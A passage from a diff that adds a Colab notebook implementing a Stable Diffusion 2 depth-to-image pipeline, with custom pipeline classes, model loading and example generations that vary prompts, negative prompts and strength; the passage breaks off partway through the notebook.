+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "U7eXBBRZPqel"
+      },
+      "outputs": [],
+      "source": [
+        "import numpy as np\n",
+        "from tqdm import tqdm\n",
+        "from PIL import Image\n",
+        "\n",
+        "import torch\n",
+        "from torch import autocast\n",
+        "\n",
+        "from transformers import CLIPTextModel, CLIPTokenizer\n",
+        "from transformers import DPTForDepthEstimation, DPTFeatureExtractor\n",
+        "\n",
+        "from diffusers import AutoencoderKL, UNet2DConditionModel\n",
+        "from diffusers.schedulers.scheduling_pndm import PNDMScheduler"
+      ]
+    },
+    {
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "0B1NCql5jkmo"
+      },
+      "source": [
+        "## Model definition"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "fK0Cu4xnPe4E"
+      },
+      "outputs": [],
+      "source": [
+        "class DiffusionPipeline:\n",
+        "\n",
+        "    def __init__(self, \n",
+        "                 vae, \n",
+        "                 tokenizer, \n",
+        "                 text_encoder, \n",
+        "                 unet, \n",
+        "                 scheduler):\n",
+        "        \n",
+        "        self.vae = vae\n",
+        "        self.tokenizer = tokenizer\n",
+        "        self.text_encoder = text_encoder\n",
+        "        self.unet = unet\n",
+        "        self.scheduler = scheduler\n",
+        "        self.device = 'cuda' if torch.cuda.is_available() else 'cpu'\n",
+        "    \n",
+        "    \n",
+        "    def get_text_embeds(self, text):\n",
+        "        # tokenize the text\n",
+        "        text_input = self.tokenizer(text, \n",
+        "                                    padding='max_length', \n",
+        "                                    max_length=tokenizer.model_max_length, \n",
+        "                                    truncation=True, \n",
+        "                                    return_tensors='pt')\n",
+        "        # embed the text\n",
+        "        with torch.no_grad():\n",
+        "            text_embeds = self.text_encoder(text_input.input_ids.to(self.device))[0]\n",
+        "        return text_embeds\n",
+        "\n",
+        "\n",
+        "    def get_prompt_embeds(self, prompt):\n",
+        "        if isinstance(prompt, str):\n",
+        "            prompt = [prompt]\n",
+        "        # get conditional prompt embeddings\n",
+        "        cond_embeds = self.get_text_embeds(prompt)\n",
+        "        # get unconditional prompt embeddings\n",
+        "        uncond_embeds = self.get_text_embeds([''] * len(prompt))\n",
+        "        # concatenate the above 2 embeds\n",
+        "        prompt_embeds = torch.cat([uncond_embeds, cond_embeds])\n",
+        "        return prompt_embeds\n",
+        "\n",
+        "\n",
+        "\n",
+        "    def decode_img_latents(self, img_latents):\n",
+        "        img_latents = 1 / self.vae.config.scaling_factor * img_latents\n",
+        "        with torch.no_grad():\n",
+        "            img = self.vae.decode(img_latents).sample\n",
+        "        \n",
+        "        img = (img / 2 + 0.5).clamp(0, 1)\n",
+        "        img = img.cpu().permute(0, 2, 3, 1).float().numpy()\n",
+        "        return img\n",
+        "\n",
+        "\n",
+        "\n",
+        "    def transform_img(self, img):\n",
+        "        # scale images to the range [0, 255] and convert to int\n",
+        "        img = (img * 255).round().astype('uint8')\n",
+        "        # convert to PIL Image objects\n",
+        "        img = [Image.fromarray(i) for i in img]\n",
+        "        return img\n",
+        "\n",
+        "\n",
+        "    def encode_img_latents(self, img, latent_timestep):\n",
+        "        if not isinstance(img, list):\n",
+        "            img = [img]\n",
+        "        \n",
+        "        img = np.stack([np.array(i) for i in img], axis=0)\n",
+        "        # scale images to the range [-1, 1]\n",
+        "        img = 2 * ((img / 255.0) - 0.5)\n",
+        "        img = torch.from_numpy(img).float().permute(0, 3, 1, 2)\n",
+        "        img = img.to(self.device)\n",
+        "\n",
+        "        # encode images\n",
+        "        img_latents_dist = self.vae.encode(img)\n",
+        "        img_latents = img_latents_dist.latent_dist.sample()\n",
+        "        \n",
+        "        # scale images\n",
+        "        img_latents = self.vae.config.scaling_factor * img_latents\n",
+        "        \n",
+        "        # add noise to the latents\n",
+        "        noise = torch.randn(img_latents.shape).to(self.device)\n",
+        "        img_latents = self.scheduler.add_noise(img_latents, noise, latent_timestep)\n",
+        "\n",
+        "        return img_latents\n"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "2uME1Fs7Vq8y"
+      },
+      "outputs": [],
+      "source": [
+        "class Depth2ImgPipeline(DiffusionPipeline):\n",
+        "    def __init__(self, \n",
+        "                 vae, \n",
+        "                 tokenizer, \n",
+        "                 text_encoder, \n",
+        "                 unet, \n",
+        "                 scheduler, \n",
+        "                 depth_feature_extractor, \n",
+        "                 depth_estimator):\n",
+        "        \n",
+        "        super().__init__(vae, tokenizer, text_encoder, unet, scheduler)\n",
+        "\n",
+        "        self.depth_feature_extractor = depth_feature_extractor\n",
+        "        self.depth_estimator = depth_estimator\n",
+        "\n",
+        "\n",
+        "    def get_depth_mask(self, img):\n",
+        "        if not isinstance(img, list):\n",
+        "            img = [img]\n",
+        "\n",
+        "        width, height = img[0].size\n",
+        "        \n",
+        "        # pre-process the input image and get its pixel values\n",
+        "        pixel_values = self.depth_feature_extractor(img, return_tensors=\"pt\").pixel_values\n",
+        "\n",
+        "        # use autocast for automatic mixed precision (AMP) inference\n",
+        "        with autocast('cuda'):\n",
+        "            depth_mask = self.depth_estimator(pixel_values).predicted_depth\n",
+        "        \n",
+        "        # get the depth mask\n",
+        "        depth_mask = torch.nn.functional.interpolate(depth_mask.unsqueeze(1),\n",
+        "                                                     size=(height//8, width//8),\n",
+        "                                                     mode='bicubic',\n",
+        "                                                     align_corners=False)\n",
+        "        \n",
+        "        # scale the mask to range [-1, 1]\n",
+        "        depth_min = torch.amin(depth_mask, dim=[1, 2, 3], keepdim=True)\n",
+        "        depth_max = torch.amax(depth_mask, dim=[1, 2, 3], keepdim=True)\n",
+        "        depth_mask = 2.0 * (depth_mask - depth_min) / (depth_max - depth_min) - 1.0\n",
+        "        depth_mask = depth_mask.to(self.device)\n",
+        "\n",
+        "        # replicate the mask for classifier free guidance \n",
+        "        depth_mask = torch.cat([depth_mask] * 2)\n",
+        "        return depth_mask\n",
+        "\n",
+        "\n",
+        "\n",
+        "    \n",
+        "    def denoise_latents(self, \n",
+        "                        img,\n",
+        "                        prompt_embeds,\n",
+        "                        depth_mask,\n",
+        "                        strength,\n",
+        "                        num_inference_steps=50,\n",
+        "                        guidance_scale=7.5,\n",
+        "                        height=512, width=512):\n",
+        "        \n",
+        "        # clip the value of strength to ensure strength lies in [0, 1]\n",
+        "        strength = max(min(strength, 1), 0)\n",
+        "\n",
+        "        # compute timesteps\n",
+        "        self.scheduler.set_timesteps(num_inference_steps)\n",
+        "\n",
+        "        init_timestep = int(num_inference_steps * strength)\n",
+        "        t_start = num_inference_steps - init_timestep\n",
+        "        \n",
+        "        timesteps = self.scheduler.timesteps[t_start: ]\n",
+        "        num_inference_steps = num_inference_steps - t_start\n",
+        "\n",
+        "        latent_timestep = timesteps[:1].repeat(1)\n",
+        "\n",
+        "        latents = self.encode_img_latents(img, latent_timestep)\n",
+        "\n",
+        "        # use autocast for automatic mixed precision (AMP) inference\n",
+        "        with autocast('cuda'):\n",
+        "            for i, t in tqdm(enumerate(timesteps)):\n",
+        "                latent_model_input = torch.cat([latents] * 2)\n",
+        "                latent_model_input = torch.cat([latent_model_input, depth_mask], dim=1)\n",
+        "                \n",
+        "                # predict noise residuals\n",
+        "                with torch.no_grad():\n",
+        "                    noise_pred = self.unet(latent_model_input, t, encoder_hidden_states=prompt_embeds)['sample']\n",
+        "\n",
+        "                # separate predictions for unconditional and conditional outputs\n",
+        "                noise_pred_uncond, noise_pred_text = noise_pred.chunk(2)\n",
+        "                \n",
+        "                # perform guidance\n",
+        "                noise_pred = noise_pred_uncond + guidance_scale * (noise_pred_text - noise_pred_uncond)\n",
+        "\n",
+        "                # remove the noise from the current sample i.e. go from x_t to x_{t-1}\n",
+        "                latents = self.scheduler.step(noise_pred, t, latents)['prev_sample']\n",
+        "\n",
+        "        return latents\n",
+        "\n",
+        "\n",
+        "    def __call__(self, \n",
+        "                 prompt, \n",
+        "                 img, \n",
+        "                 strength=0.8,\n",
+        "                 num_inference_steps=50,\n",
+        "                 guidance_scale=7.5,\n",
+        "                 height=512, width=512):\n",
+        "\n",
+        "\n",
+        "        prompt_embeds = self.get_prompt_embeds(prompt)\n",
+        "\n",
+        "        depth_mask = self.get_depth_mask(img)\n",
+        "\n",
+        "        latents = self.denoise_latents(img,\n",
+        "                                       prompt_embeds,\n",
+        "                                       depth_mask,\n",
+        "                                       strength,\n",
+        "                                       num_inference_steps,\n",
+        "                                       guidance_scale,\n",
+        "                                       height, width)\n",
+        "\n",
+        "        img = self.decode_img_latents(latents)\n",
+        "\n",
+        "        img = self.transform_img(img)\n",
+        "        \n",
+        "        return img\n"
+      ]
+    },
+    {
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "IQ0YObQCjbUU"
+      },
+      "source": [
+        "## Create instance of the model"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "SjVpjMXOPe6h"
+      },
+      "outputs": [],
+      "source": [
+        "device = 'cuda'\n",
+        "\n",
+        "# Load autoencoder\n",
+        "vae = AutoencoderKL.from_pretrained('stabilityai/stable-diffusion-2-depth', subfolder='vae').to(device)\n",
+        "\n",
+        "# Load tokenizer and the text encoder\n",
+        "tokenizer = CLIPTokenizer.from_pretrained('stabilityai/stable-diffusion-2-depth', subfolder='tokenizer')\n",
+        "text_encoder = CLIPTextModel.from_pretrained('stabilityai/stable-diffusion-2-depth', subfolder='text_encoder').to(device)\n",
+        "\n",
+        "# Load UNet model\n",
+        "unet = UNet2DConditionModel.from_pretrained('stabilityai/stable-diffusion-2-depth', subfolder='unet').to(device)\n",
+        "\n",
+        "# Load scheduler\n",
+        "scheduler = PNDMScheduler(beta_start=0.00085, \n",
+        "                          beta_end=0.012, \n",
+        "                          beta_schedule='scaled_linear', \n",
+        "                          num_train_timesteps=1000)\n"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "H5FipQQOKbiS",
+        "outputId": "ff6719d7-cc17-4e3b-ff60-9342fe911af1"
+      },
+      "outputs": [],
+      "source": [
+        "# Load DPT Depth Estimator\n",
+        "depth_estimator = DPTForDepthEstimation.from_pretrained('stabilityai/stable-diffusion-2-depth', subfolder='depth_estimator')\n",
+        "\n",
+        "# Load DPT Feature Extractor\n",
+        "depth_feature_extractor = DPTFeatureExtractor.from_pretrained('stabilityai/stable-diffusion-2-depth', subfolder='feature_extractor')\n"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "IgWXvP7TPe8p"
+      },
+      "outputs": [],
+      "source": [
+        "depth2img = Depth2ImgPipeline(vae, \n",
+        "                              tokenizer, \n",
+        "                              text_encoder, \n",
+        "                              unet, \n",
+        "                              scheduler,\n",
+        "                              depth_feature_extractor,\n",
+        "                              depth_estimator)"
+      ]
+    },
+    {
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "u3End173jf5D"
+      },
+      "source": [
+        "## Examples"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 497
+        },
+        "id": "PvdI6VVnPfAE",
+        "outputId": "6ddb97f9-ef83-4430-eecb-3f156fe0c3dd"
+      },
+      "outputs": [],
+      "source": [
+        "import urllib.parse as parse\n",
+        "import os\n",
+        "import requests\n",
+        "\n",
+        "# a function to determine whether a string is a URL or not\n",
+        "def is_url(https://github.com/string):\n",
+        "    try:\n",
+        "        result = parse.urlparse(string)\n",
+        "        return all([result.scheme, result.netloc, result.path])\n",
+        "    except:\n",
+        "        return False\n",
+        "\n",
+        "\n",
+        "# a function to load an image\n",
+        "def load_image(image_path):\n",
+        "    if is_url(https://github.com/image_path):\n",
+        "        return Image.open(requests.get(image_path, stream=True).raw)\n",
+        "    elif os.path.exists(image_path):\n",
+        "        return Image.open(image_path)\n",
+        "\n",
+        "\n",
+        "url = \"http://images.cocodataset.org/val2017/000000039769.jpg/"\n",
+        "img = load_image(url)\n",
+        "img"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 514
+        },
+        "id": "B1FRHDHtFZ2x",
+        "outputId": "b10b39ee-4ba5-4769-920f-1ea71c5de282"
+      },
+      "outputs": [],
+      "source": [
+        "depth2img(\"two tigers\", img)[0]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 529
+        },
+        "id": "WMLYkwDoGKUk",
+        "outputId": "8e5d015f-187c-49b1-f863-4fba0abd2f45"
+      },
+      "outputs": [],
+      "source": [
+        "img = load_image(\"image16.png\")\n",
+        "img"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 546
+        },
+        "id": "bjBvAVZVGKWr",
+        "outputId": "ad13f40d-de3a-480c-843c-b4e481a8b7a2"
+      },
+      "outputs": [],
+      "source": [
+        "prompt = \"A boulder with gemstones falling down a hill\"\n",
+        "depth2img(prompt, img)[0]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 529
+        },
+        "id": "6eTFNAewGKZJ",
+        "outputId": "4f906958-c76a-4cfe-dc2a-ca60272d1d08"
+      },
+      "outputs": [],
+      "source": [
+        "img = load_image(\"image11.png\").resize((512, 512))\n",
+        "img"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "DlJv2-1eN0da",
+        "outputId": "a879b4b6-9c03-47be-8834-494365cb58b3"
+      },
+      "outputs": [],
+      "source": [
+        "import gc\n",
+        "import torch\n",
+        "\n",
+        "# Run this cell if you get OOM - Out of Memory - errors\n",
+        "torch.cuda.empty_cache()\n",
+        "gc.collect()\n",
+        "torch.cuda.empty_cache()\n",
+        "gc.collect()"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "AhvSACo4N6g2",
+        "outputId": "6292f90c-aaf7-4c73-9384-d5e59bf59b5b"
+      },
+      "outputs": [],
+      "source": [
+        "# just to check GPU memory\n",
+        "!nvidia-smi"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 546
+        },
+        "id": "Uy0ziM_xGKbP",
+        "outputId": "aa03b031-d5f7-48fa-ad48-22e7edcee10a"
+      },
+      "outputs": [],
+      "source": [
+        "prompt = \"A futuristic city on the edge of space, a robotic bionic singularity portal, sci fi, utopian, tim hildebrandt, wayne barlowe, bruce pennington, donato giancola, larry elmore\"\n",
+        "depth2img(prompt, img)[0]"
+      ]
+    },
+    {
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "RryrZSIucvee"
+      },
+      "source": [
+        "# Part 2"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "37BGMrgkbgOX"
+      },
+      "outputs": [],
+      "source": [
+        "import torch\n",
+        "import requests\n",
+        "from PIL import Image\n",
+        "from diffusers import StableDiffusionDepth2ImgPipeline"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "1jqWIRGBbgR8"
+      },
+      "outputs": [],
+      "source": [
+        "pipe = StableDiffusionDepth2ImgPipeline.from_pretrained(\n",
+        "    \"stabilityai/stable-diffusion-2-depth\",\n",
+        "    torch_dtype=torch.float16,\n",
+        ").to(\"cuda\")"
+      ]
+    },
+    {
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "a11H5bbvfjs1"
+      },
+      "source": [
+        "## Impact of negative prompt example"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 382
+        },
+        "id": "7_HoqLyqrlta",
+        "outputId": "26b03e01-d07d-4a6f-e9f5-642ddbb299f2"
+      },
+      "outputs": [],
+      "source": [
+        "img = load_image(\"https://images.pexels.com/photos/406152/pexels-photo-406152.jpeg?auto=compress&cs=tinysrgb&w=600\")\n",
+        "img"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 409,
+          "referenced_widgets": [
+            "b168918d31b34653897402751e9bbecc",
+            "ed9bd4313a1a477a820abec0b6f911f6",
+            "889529d86c064f73844e8074765f2cf0",
+            "95ebc05ee7f640af86a54aadcd40ddbe",
+            "a654808c82cc4672a19728ac22f26e5e",
+            "f228ea9baedf457985c032deab6b96df",
+            "665e483725974558b1712ef1fa235a7d",
+            "2540be75baeb49769f279ad95778a857",
+            "b2a6584f8d6f4c2ab221f8f90a1a560a",
+            "ed5435b53cb646d080918c6720e222bd",
+            "cd0e13f6e6dc444c80f7464747846e21"
+          ]
+        },
+        "id": "mBngqY_Q7zRb",
+        "outputId": "8c7a6992-514c-4bbf-dcb3-4b6f5774d311"
+      },
+      "outputs": [],
+      "source": [
+        "prompt = \"A salad with tomatoes and guanas chips mixed with ketchup and mustard and bay leaf and guacamole and onions and ketchup and luscious patty with sesame seeds and cashews and onions and ketchup, ethereal,\"\n",
+        "pipe(prompt=prompt, image=img, negative_prompt=None, strength=0.7).images[0]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 409,
+          "referenced_widgets": [
+            "71f962cddf284a1fbc5f882dc61d673a",
+            "2ad534b30374491ca6b99f035efa1004",
+            "db69c9d0fd214da8b42b854d71b87f54",
+            "6041b74d03bd48f0adea3662f0b9bc27",
+            "8ec8c55bace044fd885ed6ada6c3cd23",
+            "b3c65e0ad46a4fdcb639e3c98983f1b7",
+            "7d12e7d3738f4094a2c1d7a56a03c928",
+            "5e4d7e7e89cf4b8e9cab8d34d88d662e",
+            "5066ac8781ec4f00b27ec6be27eb8506",
+            "a3a361916b864a3cadb650a563842b16",
+            "279e8805d1a8468496bf091b2854683e"
+          ]
+        },
+        "id": "aj197V-_RYWl",
+        "outputId": "038b263c-01d7-4e7d-f49b-5b26d3661152"
+      },
+      "outputs": [],
+      "source": [
+        "prompt = \"A salad with tomatoes and guanas chips mixed with ketchup and mustard and bay leaf and guacamole and onions and ketchup and luscious patty with sesame seeds and cashews and onions and ketchup, ethereal,\"\n",
+        "n_prompt = \"ugly, deformed, not detailed, bad architectures, blurred, too much blurred, motion blur\"\n",
+        "pipe(prompt=prompt, image=img, negative_prompt=n_prompt, strength=0.7).images[0]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 785
+        },
+        "id": "qnPTkMvOQeM0",
+        "outputId": "ce7d32c7-fac1-4df7-b9e2-ea9cedd12b5a"
+      },
+      "outputs": [],
+      "source": [
+        "img = load_image(\"image15.png\")\n",
+        "img"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 817,
+          "referenced_widgets": [
+            "3f2e54c7185e4251962269369e30a9ec",
+            "f037d2a0f68e4647ab8d1e3c278aac8f",
+            "77bdcf219f2e4aa8ba1725329011f2bc",
+            "bf5ffbefc35449659cc9aae956e9a292",
+            "6186ca097ee64f289f1becdd180cf1aa",
+            "f50555e1470b4a8e95ea430871af77cf",
+            "9f6a32585a514034975b71b2954b639f",
+            "41c7ad82fa3f4a24a13a09f384e8fd51",
+            "3cd041ccf57c46ff91b714b7c572f581",
+            "7d60b538a6e248369d2df053e9548a14",
+            "a2bc87dd43e14ee0abba026d57cb349f"
+          ]
+        },
+        "id": "8thR1RQ08HPI",
+        "outputId": "5b9c661a-e291-4d68-8fde-5bb6f081d8f9"
+      },
+      "outputs": [],
+      "source": [
+        "prompt = \"Last remaining old man on earth\"\n",
+        "n_prompt = \"bad anatomy, ugly, wrinkles\"\n",
+        "pipe(prompt=prompt, image=img, negative_prompt=n_prompt, strength=0.7).images[0]"
+      ]
+    },
+    {
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "_HH2z2bXfaYV"
+      },
+      "source": [
+        "## Changing strength - Futuristic city example"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "cNIgur9_91-8"
+      },
+      "outputs": [],
+      "source": [
+        "img = load_image(\"image11.png\")\n",
+        "img"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 817,
+          "referenced_widgets": [
+            "95b5dce9d5e140e78849c5aae374f27c",
+            "606165cb16e74f20a46035ca4ba95e5c",
+            "a83bca5872324f19a6a024c536141795",
+            "0f79744697af4a53835dee31a1b4f748",
+            "7dd5be64da7a41f8875765186bdd0b10",
+            "8dccd6692afc41caa28072f35667bfac",
+            "9e67bf17f1d64768954b47e3e1001b41",
+            "70b8ac7c48d14a08b0d0eb840d37d410",
+            "650ea058ba304da9b8febd6a72e10260",
+            "f3d5fc14999740b2bb7e4c21d1413b37",
+            "b274cfa1678e49938e163e2d17d7f179"
+          ]
+        },
+        "id": "aQBJTWJG92Mr",
+        "outputId": "d612403b-593c-4796-af26-bbd61e1c1ee6"
+      },
+      "outputs": [],
+      "source": [
+        "prompt = \"A futuristic city\"\n",
+        "pipe(prompt=prompt, image=img, negative_prompt=None, strength=0.7).images[0]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 817,
+          "referenced_widgets": [
+            "c33aa07ac5a741adbef140e57b9702e2",
+            "3b4ca1a9965f4aeabff645cc5d6aa92e",
+            "71d6d4c2b61d4739ae78f77f4bababc3",
+            "80e10875f83e4889ad1840255ef9c49d",
+            "e7da8d3d63f740968550b2852880ccc1",
+            "6f02e4b70ac145a1a9b0d9a97f8a0d6b",
+            "61e7f8494b86497fbe3d96f37206d930",
+            "fe00c60d6a684ade8f1faf85cd0a825e",
+            "89174c17b503496ca0652319664f6084",
+            "8d89224fff864932a91dc1d1545e1ea6",
+            "07d4c54ed84242068b64353eec6593fa"
+          ]
+        },
+        "id": "bbgJ1lQw92PO",
+        "outputId": "c35afeb3-e07f-406e-9088-2b032292e405"
+      },
+      "outputs": [],
+      "source": [
+        "prompt = \"Futuristic city, modern, highly detailed, aesthetic, octane render, 8K, UHD, photoshopped\"\n",
+        "n_prompt = \"ugly, deformed, not detailed, bad architectures, blurred, too much blurred, motion blur\"\n",
+        "pipe(prompt=prompt, image=img, negative_prompt=n_prompt, strength=0.7).images[0]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 817,
+          "referenced_widgets": [
+            "cdcc3550ed8340ebb2e8f0f903500c9c",
+            "42b12e19632c48e8809ccc1dfde61417",
+            "acc1e1e48c2b4c0a8c765978c5211c4a",
+            "b86219c801bb4d2e8395ce17518fa432",
+            "3ff6eda7d146478880b0d26670caa23c",
+            "7a282eb45d6f4d5da0c6f5241b023b32",
+            "af74c20beba94d84b5cf97818b6bd191",
+            "fff5255694d74756a08b556c51affbd9",
+            "890360c4bd374d74943cb359ba838ab7",
+            "96aed170045943a28f42d6b825c66cf3",
+            "2cc5cba3a49842fab50519d9968a4e53"
+          ]
+        },
+        "id": "kjubi4RD92Sn",
+        "outputId": "3717a51a-63b1-45a9-df8a-f096aa533ded"
+      },
+      "outputs": [],
+      "source": [
+        "pipe(prompt=prompt, image=img, negative_prompt=n_prompt, strength=0.1).images[0]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 817,
+          "referenced_widgets": [
+            "5d7dd248760841d9b95a356cdcdd6797",
+            "e9454ab1e9034e908b84be5c6bf6f069",
+            "970fd0cc56d748ccb2ee2287b33ec5fa",
+            "52ee43cf76e948e4944d0539462e41f4",
+            "9d8254d8917c4874b980ae8e4c72b324",
+            "7f58a5010d77407ca459b1d7209e9280",
+            "af2c00007cd34322be1faf9aa4925e2d",
+            "75193c4a20844ca2988c9f9a3ffc66c5",
+            "c9ca13d641734c4e956555fcbfe2156a",
+            "d97e3dc3965247c3b5f19925e1a481f2",
+            "6c4f2c3e26614dce84bc1bf63b1e263f"
+          ]
+        },
+        "id": "fHqLC7NGALi9",
+        "outputId": "96b0fda0-40a3-4d7a-f702-19c48230c2c9"
+      },
+      "outputs": [],
+      "source": [
+        "pipe(prompt=prompt, image=img, negative_prompt=n_prompt, strength=0.5).images[0]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 817,
+          "referenced_widgets": [
+            "11fb8904566f4751beffc60b2785b97e",
+            "e9797440d4904681b6d32ba13e38cf69",
+            "a2d89cde3ec1423798f3591a2aadbaef",
+            "e9de6d1bfc2541fbaf1c5315be405904",
+            "07a62b7083044ede9ec79902d595e4b9",
+            "23e3dc5b455d445a957cf44e6c913b30",
+            "fd80da5cf56c463ca277dafa9792c922",
+            "62dbb831c6af4a369214dbe8c8a41c77",
+            "bb79f73fb99f4d5885400f7f69c8edcc",
+            "b6001677e22a4bf1b3565b55bebf0be1",
+            "b3dba2bfc0c9401a908c7a25a8fbe952"
+          ]
+        },
+        "id": "dqMjMcJMARNr",
+        "outputId": "b07157f3-ece3-428b-b595-53f2a4304898"
+      },
+      "outputs": [],
+      "source": [
+        "pipe(prompt=prompt, image=img, negative_prompt=n_prompt, strength=0.9).images[0]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 817,
+          "referenced_widgets": [
+            "7174c6d2b8844dde9ab72574b22b9767",
+            "3f267dc1656b4c2e9a0496da73081b15",
+            "fd926a30faed41618593cdb01204d0cc",
+            "708184f7d3b240a38f17656f8bbfd8ae",
+            "a9651ab87eae4180a9729b7e28f11376",
+            "061de01186f440bea0491134ff347c86",
+            "15b2d929ce0a4c70a156302db442e1a9",
+            "4c55892c8dd3450a9904bce9e9b80057",
+            "02dae045c1e7433cbdd872206d35e2f4",
+            "d75aad33f36b432c8175e076ce4cc99e",
+            "a3073940c26743b79c7477cbc92cb8e0"
+          ]
+        },
+        "id": "HRkexFAEALls",
+        "outputId": "0905b122-6f11-41c2-8982-6167973e70fd"
+      },
+      "outputs": [],
+      "source": [
+        "pipe(prompt=prompt, image=img, negative_prompt=n_prompt, strength=1).images[0]"
+      ]
+    },
+    {
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "IXvOug64fM6H"
+      },
+      "source": [
+        "## Article beginning examples"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 785
+        },
+        "id": "HhA7oF_OA6SY",
+        "outputId": "66afe568-50ff-4bc1-fe07-ca1807fec2bc"
+      },
+      "outputs": [],
+      "source": [
+        "img = load_image(\"image12.png\")\n",
+        "img"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 817,
+          "referenced_widgets": [
+            "f7214d3edc9c4b38af73090d49d89ddf",
+            "0e19b13015304e75abe29a63bd8a9052",
+            "c2bf3e4561894b4f98047c14c8c6fcaf",
+            "3758340ddeb543a9854df0e5502725eb",
+            "eb34aef46c21431bbca887976b630a88",
+            "253c99a742054b8aa6f2e8e20093cfce",
+            "13263d08c8324e46a5661cca111e6bb4",
+            "91cb9127553d41719924473661d25b51",
+            "040ee5bc127a48a3b3a8727aefac4ae8",
+            "92ef2a1653944c10b5515f618811f749",
+            "3db5acc140324a6e9ac259a13595b65e"
+          ]
+        },
+        "id": "T58XQSFpDEfZ",
+        "outputId": "a6f4a271-6a91-4578-e7f0-89800ed684f8"
+      },
+      "outputs": [],
+      "source": [
+        "prompt = \"World war, aesthetic\"\n",
+        "n_prompt = \"bad looking, deformed, wholesome\"\n",
+        "pipe(prompt=prompt, image=img, negative_prompt=n_prompt, strength=0.9).images[0]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "5HvyI95eDEmU"
+      },
+      "outputs": [],
+      "source": [
+        "img = load_image(\"image3.png\")"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 817,
+          "referenced_widgets": [
+            "0110098fd7ba45ada215e579d7a659b4",
+            "a548fd49eb4a451386b340a677f93073",
+            "1a80f747d4b4437099554768298a7b4a",
+            "f8ed4f4a78df426aa227ef4e1dda7063",
+            "0030fdc5270147c7a9cf0574fedab275",
+            "3394e6e9924e4f2bb791976994169806",
+            "81b7286bea0841e6b54dba275f5c71b5",
